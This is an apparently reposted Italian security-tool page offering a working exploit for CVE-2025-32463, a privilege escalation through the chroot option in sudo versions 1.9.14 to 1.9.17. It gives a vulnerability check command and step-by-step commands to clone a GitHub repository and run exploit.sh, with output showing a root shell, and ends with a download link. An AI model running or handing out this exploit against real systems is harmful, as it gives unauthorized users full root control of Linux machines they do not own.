CVE-2025-32463 — Questo è l'exploit per la CVE-2025-32463 | Kitploit

Exploit CVE-2025-32463

Questo è l'exploit per la CVE-2025-32463

Un ringraziamento a Rich Mirch (@0xm1rch su X) di Stratascale per aver segnalato questa straordinaria vulnerabilità.
Post originale: Advisory di vulnerabilità: Elevazione di privilegi con chroot in Sudo
NVD: CVE-2025-32463 (CVSS 9.3)

Versioni interessate

Le build vulnerabili di sudo 1.9.14 fino alla 1.9.17 (tutte le revisioni p) sulla maggior parte delle distribuzioni Linux sono interessate.

Pagine di sicurezza

Verifica rapida della vulnerabilità

# Vulnerable sudo will give you this
kairaj5456 ~ $ sudo -R fake_root fake_root
sudo: fake_root: No such file or directory

# Patched sudo will give you this
kairaj5456 ~ $ sudo -R fake_root fake_root
[sudo] password for kairaj5456:
sudo: you are not permitted to use the -R option with fake_root

Test dell'exploit

$ git clone https://github.com/Rajneeshkarya/CVE-2025-32463.git

$ cd CVE-2025-32463

$ chmod +x exploit.sh

$ ./exploit.sh

[+] Launching exploit via sudo...

# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),117(bluetooth),121(wireshark),129(scanner),136(kaboxer),1000(kairaj5456)

Per comprendere la vulnerabilità

Consulta il blog originale pubblicato da Rich Mirch - clicca qui

Scarica lo strumento